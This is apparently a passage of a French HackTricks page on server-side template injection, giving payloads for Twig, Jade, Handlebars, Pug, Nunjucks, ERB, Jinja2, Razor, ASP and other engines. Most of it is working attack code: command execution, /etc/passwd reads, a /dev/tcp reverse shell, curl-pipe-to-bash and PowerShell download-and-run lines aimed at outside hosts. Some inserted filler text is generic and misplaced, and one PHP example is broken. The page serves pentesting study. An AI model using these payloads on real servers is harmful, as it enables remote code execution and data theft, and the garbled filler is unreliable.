* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{7*'7'}} = 49`
* `{{1/0}} = Erreur`
* `{{foobar}} Rien`
```python
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
**Twig - Format de template**
Twig est un moteur de template populaire utilisé dans de nombreux frameworks PHP tels que Symfony. Il offre une syntaxe simple et expressive pour générer des pages web dynamiques.
Les fichiers de template Twig ont une extension `.twig` et peuvent contenir du code HTML ainsi que des balises spéciales Twig. Ces balises spéciales permettent d'insérer des variables, d'effectuer des boucles et des conditions, et d'inclure d'autres fichiers de template.
Voici un exemple de fichier de template Twig :
```twig
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>Bienvenue sur {{ title }}</h1>
<ul>
{% for item in items %}
<li>{{ item }}</li>
{% endfor %}
</ul>
{% if isAdmin %}
<p>Vous êtes un administrateur.</p>
{% else %}
<p>Vous êtes un utilisateur normal.</p>
{% endif %}
</body>
</html>
```
Dans cet exemple, les balises `{{ title }}`, `{{ item }}`, `{% for item in items %}`, `{% endfor %}`, `{% if isAdmin %}`, et `{% else %}` sont des balises spéciales Twig. Elles seront évaluées et remplacées par les valeurs correspondantes lors de la génération de la page web.
Les attaques de type Server-Side Template Injection (SSTI) peuvent se produire lorsque des entrées utilisateur sont directement incluses dans des fichiers de template Twig sans être correctement filtrées ou échappées. Cela peut permettre à un attaquant d'exécuter du code arbitraire sur le serveur.
Il est donc important de toujours valider et filtrer les entrées utilisateur avant de les inclure dans des fichiers de template Twig.
```php
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
**Plus d'informations**
* Dans la section Twig et Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
Plates est inspiré de Twig mais est un moteur de template PHP natif au lieu d'un moteur de template compilé.
controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
Modèle de page :
```html
<!DOCTYPE html>
<html>
<head>
<title>Mon site web</title>
</head>
<body>
<h1>Bienvenue sur mon site web !</h1>
<p>Ceci est une page de démonstration.</p>
<p>Voici quelques informations sur moi :</p>
<ul>
<li>Nom : {{ nom }}</li>
<li>Âge : {{ age }}</li>
<li>Email : {{ email }}</li>
</ul>
</body>
</html>
```
Le modèle de page ci-dessus est un exemple simple d'une page web contenant des balises de modèle. Les balises `{{ nom }}`, `{{ age }}` et `{{ email }}` sont des variables qui seront remplies avec des données spécifiques lors de la génération de la page. Cependant, si ces balises sont mal utilisées ou mal protégées, elles peuvent être vulnérables à une injection de modèle côté serveur (SSTI).
```php
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
```
Modèle de mise en page :
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
### PHPlib et HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) est la même que PHPlib mais portée vers Pear.
`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
```
# SSTI (Server-Side Template Injection)
## Description
The `authors.php` file is vulnerable to Server-Side Template Injection (SSTI) attacks. This vulnerability allows an attacker to inject malicious code into server-side templates, which are then executed by the server.
## Exploitation
To exploit this vulnerability, an attacker can inject arbitrary code into the `authors.php` file. This can be done by manipulating user input or by directly modifying the file.
Once the malicious code is injected, it will be executed by the server, allowing the attacker to perform various actions, such as accessing sensitive information, executing system commands, or even gaining remote code execution.
## Prevention
To prevent SSTI attacks, it is important to properly validate and sanitize user input before using it in server-side templates. This can be done by implementing input validation and output encoding techniques.
Additionally, it is recommended to use a secure template engine that automatically escapes user input, such as Twig or Django templates.
## Conclusion
Server-Side Template Injection is a serious vulnerability that can lead to various security risks. By understanding how this vulnerability works and implementing proper security measures, developers can protect their applications from potential attacks.
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
```
### Jade (NodeJS)
Jade is a popular template engine for Node.js. It allows you to write HTML templates using a concise and expressive syntax. However, it is important to be aware of the security risks associated with using Jade, as it can be vulnerable to Server-Side Template Injection (SSTI) attacks.
#### Server-Side Template Injection (SSTI)
Server-Side Template Injection occurs when an attacker is able to inject malicious code into a template that is then executed on the server. This can lead to various security issues, such as remote code execution, information disclosure, and even server compromise.
#### Preventing SSTI Attacks
To prevent SSTI attacks when using Jade, it is important to follow these best practices:
1. **Input Validation**: Always validate and sanitize user input before using it in a template. This helps to prevent any malicious code from being injected.
2. **Contextual Escaping**: Use proper escaping mechanisms to ensure that user input is treated as data and not as code. This helps to prevent any unintended code execution.
3. **Template Whitelisting**: Only allow trusted templates to be used. This helps to limit the potential attack surface and reduces the risk of SSTI vulnerabilities.
#### Conclusion
While Jade is a powerful and flexible template engine, it is important to be aware of the security risks associated with SSTI attacks. By following the best practices mentioned above, you can help to mitigate these risks and ensure the security of your Node.js applications.
```javascript
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
```
```javascript
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
```
**Plus d'informations**
* Dans la section Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen)
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) est un moteur de template PHP non-compilant qui utilise des balises XML pour diviser un document en différentes parties.
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
### Handlebars (NodeJS)
Path Traversal (plus d'informations [ici](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Erreur
* ${7\*7} = ${7\*7}
* Rien
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
```
**Plus d'informations**
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender (NodeJS)
| **Modèle** | **Description** |
| ------------ | --------------------------------------- |
| | Évaluer et afficher la sortie |
| | Évaluer et afficher la sortie encodée en HTML |
| | Commentaire |
| et | Autoriser le code (désactivé par défaut) |
* \= 49
**Côté client**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Côté Serveur**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Plus d'informations**
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### PugJs (NodeJS)
* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Exemple de rendu côté serveur**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**Plus d'informations**
* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
* \{{7\*7\}} = 49
* \{{foo\}} = Aucune sortie
* \#{7\*7} = #{7\*7}
* \{{console.log(1)\}} = Erreur
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**Plus d'informations**
* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### ERB (Ruby)
* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erreur`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Slim (Ruby)
* `{ 7 * 7 }`
```
{ %x|env| }
```
**Plus d'informations**
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Python
Consultez la page suivante pour apprendre des astuces sur **la contournement de l'exécution de commandes arbitraires en contournant les sandbox** en python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### Tornado (Python)
* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Erreur`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Plus d'informations**
### Jinja2 (Python)
[Site officiel](http://jinja.pocoo.org)
> Jinja2 est un moteur de template complet pour Python. Il prend en charge l'unicode, dispose d'un environnement d'exécution intégré optionnellement sandboxé, est largement utilisé et sous licence BSD.
* `{{7*7}} = Erreur`
* `${7*7} = ${7*7}`
* `{{foobar}} Rien`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* `<div data-gb-custom-block data-tag="debug"></div>`
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Format de template**
Jinja2 est un moteur de template puissant et flexible utilisé dans de nombreux frameworks web Python, y compris Flask et Django. Il permet de générer des pages web dynamiques en utilisant des templates pré-définis avec des variables et des instructions de contrôle.
Les templates Jinja2 sont généralement écrits dans des fichiers avec l'extension `.html` ou `.jinja`. Ils peuvent contenir du code HTML statique ainsi que des balises spéciales Jinja2 pour insérer des variables et exécuter des instructions.
Voici un exemple de template Jinja2 simple :
```html
<!DOCTYPE html>
<html>
<head>
<title>{{ title }}</title>
</head>
<body>
<h1>Bienvenue, {{ user }}!</h1>
<ul>
{% for item in items %}
<li>{{ item }}</li>
{% endfor %}
</ul>
</body>
</html>
```
Dans cet exemple, les balises `{{ title }}`, `{{ user }}` et `{{ item }}` sont des variables qui seront remplacées par des valeurs spécifiques lors de la génération de la page web. Les balises `{% for %}` et `{% endfor %}` sont utilisées pour exécuter une boucle et afficher une liste d'éléments.
Les templates Jinja2 peuvent également inclure des instructions de contrôle plus avancées, telles que des conditions, des filtres et des blocs. Ces fonctionnalités permettent de créer des templates plus dynamiques et flexibles.
Il est important de noter que les templates Jinja2 peuvent être vulnérables à une injection de code côté serveur (Server-Side Template Injection - SSTI) si des entrées utilisateur non fiables sont utilisées directement dans les templates sans être correctement échappées ou validées. Cette vulnérabilité peut permettre à un attaquant d'exécuter du code arbitraire sur le serveur, ce qui peut entraîner des conséquences graves, telles que la divulgation d'informations sensibles ou la compromission du système. Il est donc essentiel de prendre des mesures pour sécuriser les templates Jinja2 et éviter les attaques SSTI.
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
```
[**RCE non dépendant de**](https://podalirius.net/fr/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Plus de détails sur la façon d'exploiter Jinja**:
{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}
### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
### Razor (.Net)
* `@(2+2) <= Succès`
* `@() <= Succès`
* `@("{{code}}") <= Succès`
* `@ <= Succès`
* `@{} <= ERREUR !`
* `@{ <= ERREUR !`
* `@(1+2)`
* `@( //Code C# )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbw3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
La méthode `System.Diagnostics.Process.Start` de .NET peut être utilisée pour démarrer n'importe quel processus sur le serveur et ainsi créer un webshell. Vous pouvez trouver un exemple d'application web vulnérable sur [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Plus d'informations**
* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Rien
* `<%= response.write(date()) %>` = \<Date>
```bash
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Plus d'informations**
* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)
### Mojolicious (Perl)
Même s'il s'agit de Perl, il utilise des balises similaires à ERB en Ruby.
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Erreur`
```
<%= perl code %>
<% perl code %>
```
### SSTI en GO
Pour confirmer que le moteur de template utilisé dans le backend est Go, vous pouvez utiliser ces charges utiles :
* `{{ . }}` = structure de données transmise en entrée au template
* Si les données transmises sont un objet qui contient l'attribut Password par exemple, la charge utile précédente le révélerait, mais vous pourriez également utiliser : `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = devrait afficher la chaîne "ssti" dans la réponse
* `{{html "ssti"}}`, `{{js "ssti"}}` = Ce sont quelques autres charges utiles qui devraient afficher la chaîne "ssti" sans les mots "js" ou "html" qui suivent. Vous pouvez vous référer à plus de mots-clés dans le moteur [ici](https://golang.org/pkg/text/template).
**Exploitation de XSS**
Si le serveur utilise le package **text/template**, il est très facile de réaliser une XSS en fournissant simplement votre charge utile en entrée. Cependant, ce n'est pas le cas avec **html/template** car il encode la réponse en HTML : `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
Cependant, Go permet de **DÉFINIR** un **template** complet et de l'appeler plus tard. La charge utile ressemblera à ceci :\
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
**Exploitation de RCE**
La documentation des modules html/template peut être trouvée [ici](https://golang.org/pkg/html/template/), et la documentation du module text/template peut être trouvée [ici](https://golang.org/pkg/text/template/), et oui, elles diffèrent beaucoup. Par exemple, dans **text/template**, vous pouvez **appeler directement n'importe quelle fonction publique avec la valeur "call"**, ce qui n'est pas le cas avec html/template.
Si vous souhaitez trouver une RCE en utilisant SSTI en Go, sachez que vous pouvez accéder à l'objet donné au template avec `{{ . }}`, vous pouvez également **appeler les méthodes de l'objet**. Donc, imaginez que l'objet transmis ait une méthode appelée System qui exécute la commande donnée, vous pourriez l'exploiter avec : `{{ .System "ls" }}`\
Par conséquent, vous aurez probablement **besoin du code source**. Un code source potentiel pour quelque chose comme ça ressemblera à :
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Plus d'informations**
* [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Plus d'exploits
Consultez le reste de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) pour plus d'exploits. Vous pouvez également trouver des informations intéressantes sur les balises dans [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}
## Aide connexe
Si vous pensez que cela pourrait être utile, lisez :
* [Astuces Flask](../../network-services-pentesting/pentesting-web/flask.md)
* [Fonctions magiques Python](broken-reference/)
## Outils
{% embed url="https://github.com/epinna/tplmap" %}
## Liste de détection de force brute
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## Pratique et références
* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) est l'événement le plus important en matière de cybersécurité en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>